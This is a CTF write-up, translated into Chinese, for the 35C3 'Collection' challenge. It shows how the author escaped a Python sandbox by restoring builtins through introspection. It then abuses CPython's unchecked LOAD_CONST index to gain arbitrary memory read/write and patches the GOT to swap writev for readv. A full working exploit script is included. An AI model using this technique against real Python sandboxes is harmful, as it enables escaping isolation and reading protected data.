35c3ctf Collection - 非预期解法

2019-07-25 约 839 字 预计阅读 4 分钟

声明:本文 【35c3ctf Collection - 非预期解法】 由作者 风吹花 于 2019-07-25 09:22:00 首发 先知社区 曾经 浏览数 45 次

感谢 风吹花 的辛苦付出!

题目基本分析

题目给了以下文件:

dist/
dist/server.py
dist/Collection.cpython-36m-x86_64-linux-gnu.so
dist/test.py
dist/python3.6
dist/libc-2.27.so

正如我们所知,server.py可以接收用户输入的python脚本语言。除此之外,它还可以获取flag并使用dup2将文件描述符复制到fd 1023中,然后用提供的python3.6解释器执行用户的输入。这里有一个小问题,您的代码前面会出现以下这样一段代码:

from sys import modules
del modules['os']
import Collection
keys = list(__builtins__.__dict__.keys())
for k in keys:
    if k != 'id' and k != 'hex' and k != 'print' and k != 'range':
        del __builtins__.__dict__[k]

此代码尝试设置一个基本的Python沙箱。大体来说,这道题目背后的想法是沙箱逃逸,这样我们就可以从已打开的文件描述符中读取flag。

本来预期的解决方案是利用Collection模块,然而,我的解决方案里面根本没有用到它:P

首先,让我们看看沙箱prefix起到了什么作用:

1.它可以删除sys.modules中的os

2.它可以导入原生模块Collection

3.它可以删除__builtins__对象中的每个内建函数,除了idhexprintrange等一小部分,可能是出题人还算比较仁慈吧。

我的这个非预期的解决方案的第一步是,我们要认识到沙盒python是很难正确执行的,并且从sys.modules__builtins__中删除的对象实际上是可逆转的,仍然会有很多的关于它们的reference,我们只需搜索一下即可。

我使用内省机制返回一些基本的内置组件:

str = "".__class__
bytes = b"".__class__
bytearray = [x for x in b"".__class__.__base__.__subclasses__() if "bytearray" in str(x)][0]

返回os的过程有点棘手,但仍然是可行的:

os = [t for t in ().__class__.__bases__[0].__subclasses__() if 'ModuleSpec' in t.__name__][0].__repr__.__globals__['sys'].modules["os.path"].os

这可能要更复杂一点,但不能否认的是,它是有效的。

现在我们有了os,看起来我们似乎可以调用os.read(1023, 100)了。但不幸的是,如果我们尝试调用,我们会得到以下输出:

Bad system call (core dumped)

事实表明,Collection模块设置了一个seccomp过滤器,正是它限制了我们可以使用的系统调用。

于是我用seccomp-tools(https://github.com/david942j/seccomp-tools) 来提取过滤器:

$ seccomp-tools dump "./python3.6 -c 'import Collection'"
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0012
 0011: 0x05 0x00 0x00 0x00000011  goto 0029
 0012: 0x15 0x00 0x01 0x0000000b  if (A != munmap) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x15 0x00 0x01 0x00000019  if (A != mremap) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x15 0x00 0x01 0x00000013  if (A != readv) goto 0018
 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0018: 0x15 0x00 0x01 0x000000ca  if (A != futex) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x15 0x00 0x01 0x00000083  if (A != sigaltstack) goto 0022
 0021: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0022: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0024
 0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0024: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0026
 0025: 0x05 0x00 0x00 0x00000037  goto 0081
 0026: 0x15 0x00 0x01 0x0000000d  if (A != rt_sigaction) goto 0028
 0027: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0028: 0x06 0x00 0x00 0x00000000  return KILL
 ...
--- SNIP - relatively unimporant secondary checks omitted ---
 ...
 0098: 0x06 0x00 0x00 0x00000000  return KILL

比如,我们可以使用以下系统调用:

exit
exit_group
brk
munmap
mremap
readv
futex
signalstack
close
rt_sigaction

我们也可以writestderrstdout,并且在懒得解码的时候使用mmap

非常重要的一点是,我们用readv来读取flag。除了可以同时对缓冲区数组执行多次读取外,readvread系统调用非常相似。我们应该能够用它来读取flag(利用我们之前恢复的一些沙箱对象):

flag = bytearray(128)
os.readv(1023, [flag])
print(flag)

但输出的结果是

Trace/breakpoint trap (core dumped)

经过一番摸索我们发现,Collection模块实际上暗藏了一个玄机。在加载模块时,它会在运行时修补主python可执行文件,并用一系列0xCC指令(调试陷阱)覆盖大部分os_readv_impl函数。很明显,出题人不希望我们用这么简单粗暴的方式解决这道题。所以,既然我们不能再使用os.readv了,为了我们可以调用readv系统调用,我们必须获取某些本地代码执行。

通常,在Python中获取本机代码很容易,只需使用ctypes模块即可。但由于seccomp限制,我们无法加载任何其他模块。经过一番探索后,我发现了这个使用自定义Python字节码的技术(https://gist.github.com/pakt/c70073a0e0de1f47f579) ,它可以用于设置任意的读/写原语。虽然它是为python2编写的,但我们可以调整相同的概念以适应我们的64位python3.6。这种技术看起来相当复杂(它让我想起了一些WebKit漏洞的工作原理),所以让我们把它分解一下。

这个python feature/bug的核心在于python如何解析它的字节码——特别是操作码LOAD_CONST

/* Python/ceval.c line 1298 */
TARGET(LOAD_CONST) {
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}

GETITEM(consts, oparg)从元组consts中的index oparg中检索对象,而不进行任何边界检查(但仅在Py_DEBUG未定义的情况下!)

对此,我们可以这样利用:

1.在堆上创建一个伪bytearray对象。

2.计算出从consts元组到伪bytearray的指针偏移量。

3.编写字节码,返回我们对伪bytearray的引用。

4.调用自定义字节码。

5.这样就可以用这个bytearray来读/写任何地址了。

为了更好理解其中的细节,我们需要了解CPython如何在内部存储元组和bytearray。我已经在CPython源中重建了以下内容:

struct PyByteArrayObject {
    int64_t ob_refcnt;   /* can be basically any value we want */
    struct _typeobject *ob_type; /* points to the bytearray type object */
    int64_t ob_size;     /* Number of items in variable part */
    int64_t ob_alloc;    /* How many bytes allocated in ob_bytes */
    char *ob_bytes;      /* Physical backing buffer */
    char *ob_start;      /* Logical start inside ob_bytes */
    int32_t ob_exports;  /* Not exactly sure what this does, we can ignore it */
}

struct PyTupleObject {
    int64_t ob_refcnt;
    struct _typeobject *ob_type;
    int64_t ob_size;
    PyObject *ob_item[1]; /* contains ob_size elements */
}

第1步很简单,我们可以将一些数据放在一个真的bytearray中,它将被存储在堆上。第2步也很简单,Python有一个内置函数id,它返回对象的内存地址。如果我们添加0x20到真的bytearray的地址中,我们就会得到ob_bytes指针的地址,它将指向我们在堆上创建的伪bytearray。要获取元组内部对象数组的地址,我们可以类似地将0x18加入id返回的值从而获取ob_item数组的地址。需要注意的一点是,LOAD_CONST操作码将要使用的,在数组ob_item中的index,只是一个带符号的32位值,但这实际上并没有引起任何问题。

一旦我们有了一个读/写原语,我们只需在GOT中将libc函数writev更换为readv,这样我们就可以使用Python函数os.writev代替os.readv,因为readvwritev在他们的工作方式基本上是“对称的”。

结论

当我们把上面这些都搞懂了以后,我们就可以来看看最终的成果了:

# recreate things we can't import
str = "".__class__
bytes = b"".__class__
bytearray = [x for x in b"".__class__.__base__.__subclasses__() if "bytearray" in str(x)][0]
os = [t for t in ().__class__.__bases__[0].__subclasses__() if 'ModuleSpec' in t.__name__][0].__repr__.__globals__['sys'].modules["os.path"].os

# from dis.opmap
OP_LOAD_CONST   = 100
OP_EXTENDED_ARG = 144
OP_RETURN_VALUE = 83

# packing utilities
def p8(us):
    return bytes([us&0xff])

def p64(n):
    result = []
    for i in range(0, 64, 8): result.append((n>>i)&0xff)
    return bytes(result)

def u64(n):
    res = 0
    for x in n[::-1]: res = (res<<8) | x
    return res

const_tuple = ()

# construct the fake bytearray
fake_bytearray = bytearray(
    p64(0x41414141) +          # ob_refcnt
    p64(id(bytearray)) +       # ob_type
    p64(0x7fffffffffffffff) +  # ob_size (INT64_MAX)
    p64(0) +                   # ob_alloc (doesn't seem to really be used?)
    p64(0) +                   # *ob_bytes (start at address 0)
    p64(0) +                   # *ob_start (ditto)
    p64(0)                     # ob_exports (not really sure what this does)
)

fake_bytearray_ptr_addr = id(fake_bytearray) + 0x20
const_tuple_array_start = id(const_tuple) + 0x18
offset = (fake_bytearray_ptr_addr - const_tuple_array_start) // 8

print(offset)

# construct the bytecode
bytecode = b""
for i in range(8, 32, 8)[::-1]:
    bytecode += p8(OP_EXTENDED_ARG) + p8(offset>>i)
bytecode += p8(OP_LOAD_CONST) + p8(offset)
bytecode += p8(OP_RETURN_VALUE)

def foo(): pass
foo.__code__ = foo.__code__.__class__(
    0, 0, 0, 0, 0,
    bytecode, const_tuple,
    (), (), "", "", 0, b""
)
magic = foo() # magic is now a window into most of the address space!

print(magic[0x400000:0x400000+4]) # read the elf header as a sanity check

readv_got = 0x9b3d80
writev_got = 0x9b3b28
read_got = 0x9b32e8
diff = 0x116600 - 0x110070 # libc_readv - libc_read

libc_read = u64(magic[read_got:read_got+8])
print("libc_read @", hex(libc_read))

libc_readv = libc_read + diff
print("libc_readv @", hex(libc_readv))

# replace writev with readv in the GOT
magic[writev_got:writev_got+8] = p64(libc_readv)

flag = bytearray(100)
flaglen = os.writev(1023, [flag]) # actually readv!!!
print(flag[:flaglen])

PS:我在这里发现了另一篇关于LOAD_CONST bug的好文章(https://doar-e.github.io/blog/2014/04/17/deep-dive-into-pythons-vm-story-of-load_const-bug/) 。

原文链接:https://www.da.vidbuchanan.co.uk/blog/35c3ctf-collection-writeup.html

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now